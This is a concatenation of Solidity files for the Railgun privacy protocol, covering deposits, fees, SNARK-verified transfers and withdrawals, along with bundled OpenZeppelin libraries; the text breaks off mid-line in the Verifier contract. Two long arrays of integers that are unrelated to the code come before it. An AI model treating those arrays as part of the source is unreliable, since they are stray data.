[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 329, 693, 353, 14223, 11748, 16, 14060, 10477, 16, 16269, 6934, 288, 203, 565, 6629, 1071, 2596, 31, 203, 565, 2874, 12, 2867, 516, 2254, 13, 1071, 11013, 951, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 3719, 1071, 1699, 1359, 31, 203, 565, 2254, 1071, 2078, 3088, 1283, 31, 203, 565, 2254, 1071, 312, 474, 310, 13611, 31, 203, 565, 1426, 1071, 312, 474, 310, 15294, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1731, 1578, 13, 1071, 14601, 87, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 8586, 31, 203, 203, 565, 2874, 12, 3890, 1578, 516, 1731, 1578, 13, 1071, 1982, 31, 203, 203, 565, 1758, 1071, 18305, 1887, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 10105, 3205, 31, 203, 203, 203, 565, 445, 511, 329, 693, 1435, 288, 203, 565, 289, 203, 203, 565, 445, 444, 2933, 12, 2867, 389, 5723, 13, 1338, 5541, 486, 7951, 1235, 288, 203, 3639, 2596, 273, 6629, 24899, 5723, 1769, 203, 565, 289, 203, 203, 565, 445, 2132, 49, 474, 310, 1435, 1338, 5541, 288, 203, 3639, 312, 474, 310, 15294, 273, 638, 31, 203, 565, 289, 203, 203, 565, 445, 3309, 49, 474, 12, 11890, 7448, 16, 2254, 5034, 8526, 4125, 13, 1338, 5541, 288, 203, 3639, 2583, 12, 5, 81, 474, 310, 15294, 1769, 203, 3639, 309, 261, 12824, 480, 312, 474, 310, 13611, 13, 327, 31, 203, 3639, 312, 474, 310, 13611, 1011, 404, 31, 203, 2 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; // OpenZeppelin v4 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { StorageSlot } from "@openzeppelin/contracts/utils/StorageSlot.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { SNARK_SCALAR_FIELD, TokenType, WithdrawType, TokenData, CommitmentCiphertext, CommitmentPreimage, Transaction } from "./Globals.sol"; import { Verifier } from "./Verifier.sol"; import { Commitments } from "./Commitments.sol"; import { TokenBlacklist } from "./TokenBlacklist.sol"; import { PoseidonT4 } from "./Poseidon.sol"; /** * @title Railgun Logic * @author Railgun Contributors * @notice Functions to interact with the railgun contract * @dev Wallets for Railgun will only need to interact with functions specified in this contract. * This contract is written to be run behind a ERC1967-like proxy. Upon deployment of proxy the _data parameter should * call the initializeRailgunLogic function. */ contract RailgunLogic is Initializable, OwnableUpgradeable, Commitments, TokenBlacklist, Verifier { using SafeERC20 for IERC20; // NOTE: The order of instantiation MUST stay the same across upgrades // add new variables to the bottom of the list // See https://docs.openzeppelin.com/learn/upgrading-smart-contracts#upgrading // Treasury variables address payable public treasury; // Treasury contract uint120 private constant BASIS_POINTS = 10000; // Number of basis points that equal 100% // % fee in 100ths of a %. 100 = 1%. uint120 public depositFee; uint120 public withdrawFee; // Flat fee in wei that applies to NFT transactions uint256 public nftFee; // Safety vectors mapping(uint256 => bool) public snarkSafetyVector; // Treasury events event TreasuryChange(address treasury); event FeeChange(uint256 depositFee, uint256 withdrawFee, uint256 nftFee); // Transaction events event CommitmentBatch( uint256 treeNumber, uint256 startPosition, uint256[] hash, CommitmentCiphertext[] ciphertext ); event GeneratedCommitmentBatch( uint256 treeNumber, uint256 startPosition, CommitmentPreimage[] commitments, uint256[2][] encryptedRandom ); event Nullifiers(uint256 treeNumber, uint256[] nullifier); /** * @notice Initialize Railgun contract * @dev OpenZeppelin initializer ensures this can only be called once * This function also calls initializers on inherited contracts * @param _treasury - address to send usage fees to * @param _depositFee - Deposit fee * @param _withdrawFee - Withdraw fee * @param _nftFee - Flat fee in wei that applies to NFT transactions * @param _owner - governance contract */ function initializeRailgunLogic( address payable _treasury, uint120 _depositFee, uint120 _withdrawFee, uint256 _nftFee, address _owner ) external initializer { // Call initializers OwnableUpgradeable.__Ownable_init(); Commitments.initializeCommitments(); // Set treasury and fee changeTreasury(_treasury); changeFee(_depositFee, _withdrawFee, _nftFee); // Change Owner OwnableUpgradeable.transferOwnership(_owner); // Set safety vectors snarkSafetyVector[11991246288605609459798790887503763024866871101] = true; snarkSafetyVector[135932600361240492381964832893378343190771392134] = true; snarkSafetyVector[1165567609304106638376634163822860648671860889162] = true; } /** * @notice Change treasury address, only callable by owner (governance contract) * @dev This will change the address of the contract we're sending the fees to in the future * it won't transfer tokens already in the treasury * @param _treasury - Address of new treasury contract */ function changeTreasury(address payable _treasury) public onlyOwner { // Do nothing if the new treasury address is same as the old if (treasury != _treasury) { // Change treasury treasury = _treasury; // Emit treasury change event emit TreasuryChange(_treasury); } } /** * @notice Change fee rate for future transactions * @param _depositFee - Deposit fee * @param _withdrawFee - Withdraw fee * @param _nftFee - Flat fee in wei that applies to NFT transactions */ function changeFee( uint120 _depositFee, uint120 _withdrawFee, uint256 _nftFee ) public onlyOwner { if ( _depositFee != depositFee || _withdrawFee != withdrawFee || nftFee != _nftFee ) { require(_depositFee <= BASIS_POINTS, "RailgunLogic: Deposit Fee exceeds 100%"); require(_withdrawFee <= BASIS_POINTS, "RailgunLogic: Withdraw Fee exceeds 100%"); // Change fee depositFee = _depositFee; withdrawFee = _withdrawFee; nftFee = _nftFee; // Emit fee change event emit FeeChange(_depositFee, _withdrawFee, _nftFee); } } /** * @notice Get base and fee amount * @param _amount - Amount to calculate for * @param _isInclusive - Whether the amount passed in is inclusive of the fee * @param _feeBP - Fee basis points * @return base, fee */ function getFee(uint136 _amount, bool _isInclusive, uint120 _feeBP) public pure returns (uint120, uint120) { // Expand width of amount to uint136 to accomodate full size of (2**120-1)*BASIS_POINTS uint136 amountExpanded = _amount; // Base is the amount deposited into the railgun contract or withdrawn to the target eth address // for deposits and withdraws respectively uint136 base; // Fee is the amount sent to the treasury uint136 fee; if (_isInclusive) { base = amountExpanded - (amountExpanded * _feeBP) / BASIS_POINTS; fee = amountExpanded - base; } else { base = amountExpanded; fee = (BASIS_POINTS * base) / (BASIS_POINTS - _feeBP) - base; } return (uint120(base), uint120(fee)); } /** * @notice Gets token field value from tokenData * @param _tokenData - tokenData to calculate token field from * @return token field */ function getTokenField(TokenData memory _tokenData) public pure returns (uint256) { if (_tokenData.tokenType == TokenType.ERC20) { return uint256(uint160(_tokenData.tokenAddress)); } else if (_tokenData.tokenType == TokenType.ERC721) { revert("RailgunLogic: ERC721 not yet supported"); } else if (_tokenData.tokenType == TokenType.ERC1155) { revert("RailgunLogic: ERC1155 not yet supported"); } else { revert("RailgunLogic: Unknown token type"); } } /** * @notice Hashes a commitment * @param _commitmentPreimage - commitment to hash * @return commitment hash */ function hashCommitment(CommitmentPreimage memory _commitmentPreimage) public pure returns (uint256) { return PoseidonT4.poseidon([ _commitmentPreimage.npk, getTokenField(_commitmentPreimage.token), _commitmentPreimage.value ]); } /** * @notice Deposits requested amount and token, creates a commitment hash from supplied values and adds to tree * @param _notes - list of commitments to deposit */ function generateDeposit(CommitmentPreimage[] calldata _notes, uint256[2][] calldata _encryptedRandom) external { // Get notes length uint256 notesLength = _notes.length; // Insertion and event arrays uint256[] memory insertionLeaves = new uint256[](notesLength); CommitmentPreimage[] memory generatedCommitments = new CommitmentPreimage[](notesLength); require(_notes.length == _encryptedRandom.length, "RailgunLogic: notes and encrypted random length doesn't match"); for (uint256 notesIter = 0; notesIter < notesLength; notesIter++) { // Retrieve note CommitmentPreimage calldata note = _notes[notesIter]; // Check deposit amount is not 0 require(note.value > 0, "RailgunLogic: Cannot deposit 0 tokens"); // Check if token is on the blacklist require( !TokenBlacklist.tokenBlacklist[note.token.tokenAddress], "RailgunLogic: Token is blacklisted" ); // Check ypubkey is in snark scalar field require(note.npk < SNARK_SCALAR_FIELD, "RailgunLogic: npk out of range"); // Process deposit request if (note.token.tokenType == TokenType.ERC20) { // ERC20 // Get ERC20 interface IERC20 token = IERC20(address(uint160(note.token.tokenAddress))); // Get base and fee amounts (uint120 base, uint120 fee) = getFee(note.value, true, depositFee); // Add GeneratedCommitment to event array generatedCommitments[notesIter] = CommitmentPreimage({ npk: note.npk, value: base, token: note.token }); // Calculate commitment hash uint256 hash = hashCommitment(generatedCommitments[notesIter]); // Add to insertion array insertionLeaves[notesIter] = hash; // Transfer base to output address token.safeTransferFrom( address(msg.sender), address(this), base ); // Transfer fee to treasury token.safeTransferFrom( address(msg.sender), treasury, fee ); } else if (note.token.tokenType == TokenType.ERC721) { // ERC721 token revert("RailgunLogic: ERC721 not yet supported"); } else if (note.token.tokenType == TokenType.ERC1155) { // ERC1155 token revert("RailgunLogic: ERC1155 not yet supported"); } else { // Invalid token type, revert revert("RailgunLogic: Unknown token type"); } } // Emit GeneratedCommitmentAdded events (for wallets) for the commitments emit GeneratedCommitmentBatch(Commitments.treeNumber, Commitments.nextLeafIndex, generatedCommitments, _encryptedRandom); // Push new commitments to merkle tree Commitments.insertLeaves(insertionLeaves); } /** * @notice Safety check for badly behaving code */ function checkSafetyVectors() external { // Set safety bit StorageSlot.getBooleanSlot(0x8dea8703c3cf94703383ce38a9c894669dccd4ca8e65ddb43267aa0248711450).value = true; // Setup behaviour check bool result = false; // Execute behaviour check // solhint-disable-next-line no-inline-assembly assembly { mstore(0, caller()) mstore(32, snarkSafetyVector.slot) let hash := keccak256(0, 64) result := sload(hash) } require(result, "RailgunLogic: Unsafe vectors"); } /** * @notice Adds safety vector */ function addVector(uint256 vector) external onlyOwner { snarkSafetyVector[vector] = true; } /** * @notice Removes safety vector */ function removeVector(uint256 vector) external onlyOwner { snarkSafetyVector[vector] = false; } /** * @notice Execute batch of Railgun snark transactions * @param _transactions - Transactions to execute */ function transact( Transaction[] calldata _transactions ) external { // Accumulate total number of insertion commitments uint256 insertionCommitmentCount = 0; // Loop through each transaction uint256 transactionLength = _transactions.length; for(uint256 transactionIter = 0; transactionIter < transactionLength; transactionIter++) { // Retrieve transaction Transaction calldata transaction = _transactions[transactionIter]; // If adaptContract is not zero check that it matches the caller require( transaction.boundParams.adaptContract == address (0) || transaction.boundParams.adaptContract == msg.sender, "AdaptID doesn't match caller contract" ); // Retrieve treeNumber uint256 treeNumber = transaction.boundParams.treeNumber; // Check merkle root is valid require(Commitments.rootHistory[treeNumber][transaction.merkleRoot], "RailgunLogic: Invalid Merkle Root"); // Loop through each nullifier uint256 nullifiersLength = transaction.nullifiers.length; for (uint256 nullifierIter = 0; nullifierIter < nullifiersLength; nullifierIter++) { // Retrieve nullifier uint256 nullifier = transaction.nullifiers[nullifierIter]; // Check if nullifier has been seen before require(!Commitments.nullifiers[treeNumber][nullifier], "RailgunLogic: Nullifier already seen"); // Push to nullifiers Commitments.nullifiers[treeNumber][nullifier] = true; } // Emit nullifiers event emit Nullifiers(treeNumber, transaction.nullifiers); // Verify proof require( Verifier.verify(transaction), "RailgunLogic: Invalid SNARK proof" ); if (transaction.boundParams.withdraw != WithdrawType.NONE) { // Last output is marked as withdraw, process // Hash the withdraw commitment preimage uint256 commitmentHash = hashCommitment(transaction.withdrawPreimage); // Make sure the commitment hash matches the withdraw transaction output require( commitmentHash == transaction.commitments[transaction.commitments.length - 1], "RailgunLogic: Withdraw commitment preimage is invalid" ); // Fetch output address address output = address(uint160(transaction.withdrawPreimage.npk)); // Check if we've been asked to override the withdraw destination if(transaction.overrideOutput != address(0)) { // Withdraw must == 2 and msg.sender must be the original recepient to change the output destination require( msg.sender == output && transaction.boundParams.withdraw == WithdrawType.REDIRECT, "RailgunLogic: Can't override destination address" ); // Override output address output = transaction.overrideOutput; } // Process withdrawal request if (transaction.withdrawPreimage.token.tokenType == TokenType.ERC20) { // ERC20 // Get ERC20 interface IERC20 token = IERC20(address(uint160(transaction.withdrawPreimage.token.tokenAddress))); // Get base and fee amounts (uint120 base, uint120 fee) = getFee(transaction.withdrawPreimage.value, true, withdrawFee); // Transfer base to output address token.safeTransfer( output, base ); // Transfer fee to treasury token.safeTransfer( treasury, fee ); } else if (transaction.withdrawPreimage.token.tokenType == TokenType.ERC721) { // ERC721 token revert("RailgunLogic: ERC721 not yet supported"); } else if (transaction.withdrawPreimage.token.tokenType == TokenType.ERC1155) { // ERC1155 token revert("RailgunLogic: ERC1155 not yet supported"); } else { // Invalid token type, revert revert("RailgunLogic: Unknown token type"); } // Ensure ciphertext length matches the commitments length (minus 1 for withdrawn output) require( transaction.boundParams.commitmentCiphertext.length == transaction.commitments.length - 1, "RailgunLogic: Ciphertexts and commitments count mismatch" ); // Increment insertion commitment count (minus 1 for withdrawn output) insertionCommitmentCount += transaction.commitments.length - 1; } else { // Ensure ciphertext length matches the commitments length require( transaction.boundParams.commitmentCiphertext.length == transaction.commitments.length, "RailgunLogic: Ciphertexts and commitments count mismatch" ); // Increment insertion commitment count insertionCommitmentCount += transaction.commitments.length; } } // Create insertion array uint256[] memory hashes = new uint256[](insertionCommitmentCount); // Create ciphertext array CommitmentCiphertext[] memory ciphertext = new CommitmentCiphertext[](insertionCommitmentCount); // Track insert position uint256 insertPosition = 0; // Loop through each transaction and accumulate commitments for(uint256 transactionIter = 0; transactionIter < _transactions.length; transactionIter++) { // Retrieve transaction Transaction calldata transaction = _transactions[transactionIter]; // Loop through commitments and push to array uint256 commitmentLength = transaction.boundParams.commitmentCiphertext.length; for(uint256 commitmentIter = 0; commitmentIter < commitmentLength; commitmentIter++) { // Push commitment hash to array hashes[insertPosition] = transaction.commitments[commitmentIter]; // Push ciphertext to array ciphertext[insertPosition] = transaction.boundParams.commitmentCiphertext[commitmentIter]; // Increment insert position insertPosition++; } } // Emit commitment state update emit CommitmentBatch(Commitments.treeNumber, Commitments.nextLeafIndex, hashes, ciphertext); // Push new commitments to merkle tree after event due to insertLeaves causing side effects Commitments.insertLeaves(hashes); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; // Constants uint256 constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint256 constant CIPHERTEXT_WORDS = 4; enum TokenType { ERC20, ERC721, ERC1155 } // Transaction token data struct TokenData { TokenType tokenType; address tokenAddress; uint256 tokenSubID; } // Commitment ciphertext struct CommitmentCiphertext { uint256[CIPHERTEXT_WORDS] ciphertext; // Ciphertext order: iv & tag (16 bytes each), recipient master public key (packedPoint) (uint256), packedField (uint256) {sign, random, amount}, token (uint256) uint256[2] ephemeralKeys; // Sender first, receipient second (packed points 32 bytes each) uint256[] memo; } enum WithdrawType { NONE, WITHDRAW, REDIRECT } // Transaction bound parameters struct BoundParams { uint16 treeNumber; WithdrawType withdraw; address adaptContract; bytes32 adaptParams; // For withdraws do not include an element in ciphertext array // Ciphertext array length = commitments - withdraws CommitmentCiphertext[] commitmentCiphertext; } // Transaction struct struct Transaction { SnarkProof proof; uint256 merkleRoot; uint256[] nullifiers; uint256[] commitments; BoundParams boundParams; CommitmentPreimage withdrawPreimage; address overrideOutput; // Only allowed if original destination == msg.sender & boundParams.withdraw == 2 } // Commitment hash preimage struct CommitmentPreimage { uint256 npk; // Poseidon(mpk, random), mpk = Poseidon(spending public key, nullifier) TokenData token; // Token field uint120 value; // Note value } struct G1Point { uint256 x; uint256 y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint256[2] x; uint256[2] y; } // Verification key for SNARK struct VerifyingKey { string artifactsIPFSHash; G1Point alpha1; G2Point beta2; G2Point gamma2; G2Point delta2; G1Point[] ic; } // Snark proof for transaction struct SnarkProof { G1Point a; G2Point b; G1Point c; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; // OpenZeppelin v4 import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { SnarkProof, Transaction, BoundParams, VerifyingKey, SNARK_SCALAR_FIELD } from "./Globals.sol"; import { Snark } from "./Snark.sol"; /** * @title Verifier * @author Railgun Contributors * @notice Verifies snark proof * @dev Functions in this contract statelessly verify proofs, nullifiers and adaptID should be checked in RailgunLogic. */ contract Verifier is OwnableUpgradeable { // NOTE: The order of instantiation MUST stay the same across upgrades // add new variables to the bottom of the list and decrement __gap // See https://docs.openzeppelin.com/learn/upgrading-smart-contracts#upgrading // Snark bypass address, can't be address(0) as many burn prevention mechanisms will disallow transfers to 0 // Use 0x000000000000000000000000000000000000dEaD as an alternative address constant public SNARK_BYPASS = 0x000000000000000000000000000000000000dEaD; // Verifying key set event event VerifyingKeySet(uint256 nullifiers, uint256 commitments, VerifyingKey verifyingKey); // Nullifiers => Commitments => Verification Key mapping(uint256 => mapping(uint256 => VerifyingKey)) private verificationKeys; /** * @notice Sets verification key * @param _nullifiers - number of nullifiers this verification key is for * @param _commitments - number of commitmets out this verification key is for * @param _verifyingKey - verifyingKey to set */ function setVerificationKey( uint256 _nullifiers, uint256 _commitments, VerifyingKey calldata _verifyingKey ) public onlyOwner { verificationKeys[_nullifiers][_commitments] = _verifyingKey; emit VerifyingKeySet(_nullifiers, _commitments, _verifyingKey); } /** * @notice Gets verification key * @param _nullifiers - number of nullifiers this verification key is for * @param _commitments - number of commitmets out this verification key is for */ function getVerificationKey( uint256 _nullifiers, uint256 _commitments ) public view returns (VerifyingKey memory) { // Manually add getter so dynamic IC array is included in response return verificationKeys[_nullifiers][_commitments]; } /** * @notice Calculates hash of transaction bound params for snark verification * @param _boundParams - bound parameters * @return bound parameters hash */ function hashBoundParams(BoundParams calldata _boundParams) public pure returns (uint256) { return uint256(keccak256(abi.encode( _boundParams ))) % SNARK_SCALAR_FIELD; } /** * @notice Verifies inputs against a verification key * @param _verifyingKey - verifying key to verify with * @param _proof - proof to verify * @param _inputs - input to verify * @return proof validity */ function verifyProof( VerifyingKey memory _verifyingKey, SnarkProof calldata _proof, uint256[] memory _inputs ) public view returns (bool) { return Snark.verify( _verifyingKey, _proof, _inputs ); } /** * @notice Verifies a transaction * @param _transaction to verify * @return transaction validity */ function verify(Transaction calldata _transaction) public view returns (bool) { uint256 nullifiersLength = _transaction.nullifiers.length; uint256 commitmentsLength = _transaction.commitments.length; // Retrieve verification key VerifyingKey memory verifyingKey = verificationKeys [nullifiersLength] [commitmentsLength]; // Check if verifying key is set require(verifyingKey.alpha1.x != 0, "Verifier: Key not set"); // Calculate inputs uint256[] memory inputs = new uint256[](2 + nullifiersLength + commitmentsLength); inputs[0] = _transaction.merkleRoot; // Hash bound parameters inputs[1] = hashBoundParams(_transaction.boundParams); // Loop through nullifiers and add to inputs for (uint i = 0; i < nullifiersLength; i++) { inputs[2 + i] = _transaction.nullifiers[i]; } // Loop through commitments and add to inputs for (uint i = 0; i < commitmentsLength; i++) { inputs[2 + nullifiersLength + i] = 